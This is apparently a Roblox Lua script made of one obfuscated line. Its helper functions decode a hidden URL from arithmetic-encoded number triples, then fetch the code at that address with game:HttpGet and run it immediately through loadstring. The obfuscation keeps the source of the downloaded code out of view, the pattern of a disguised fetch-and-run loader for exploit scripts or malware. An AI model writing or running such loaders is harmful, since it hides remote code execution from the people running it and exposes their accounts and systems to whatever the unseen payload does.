local _bit32bxor=function(a,b)local result=0;local bitval=1;while a>0 or b>0 do local a_bit=a%2;local b_bit=b%2;if a_bit~=b_bit then result=result+bitval end;a=(a-a_bit)/2;b=(b-b_bit)/2;bitval=bitval*2 end;return result end;local _stringfloor=function(number)local int_part=number-number%1;if number<0 and number%1~=0 then int_part=int_part-1 end;return int_part end;local _stringgsub=string.gsub;local _stringuchar=string.char;local _stringcharset={}local _stringchar=function(...)local chars={...}local result=""if#_stringcharset==0 then for i=0,255 do _stringcharset[i]=_stringuchar(i)end end;for i=1,#chars do result=result..(_stringcharset[chars[i]]or _stringuchar(chars[i]))end;return result end;local _stringbyte=string.byte;local _tostring=tostring;local _tonumber=tonumber;local function _dnt(_chars)local original_str=""for i=1,#_chars do _chars[i][2]=_chars[i][2]/_chars[i][1]_chars[i]=_chars[i][3]/_chars[i][2]end;for i=1,#_chars do original_str=original_str.._stringchar(_chars[i])end;return original_str end;loadstring(game:HttpGet(_dnt({{229,6870,3120},{233,11650,5800},{232,3248,1624},{232,15544,7504},{229,6870,3450},{230,8970,2262},{232,21344,4324},{232,17400,3525},{194,5238,3024},{233,7922,3298},{230,15640,7820},{228,14820,7540},{230,19550,8585},{61,1830,3060},{233,2097,1089},{61,915,690},{233,17941,7469},{226,1808,896},{195,16185,9296},{233,3728,752},{230,3450,765},{228,20748,6006},{231,3234,728},{231,19635,5610},{40,320,968},{229,7786,3026},{233,9553,4141},{233,10718,3496},{228,17556,3619},{217,16275,8550},{194,6208,3104},{232,4176,2142}})))()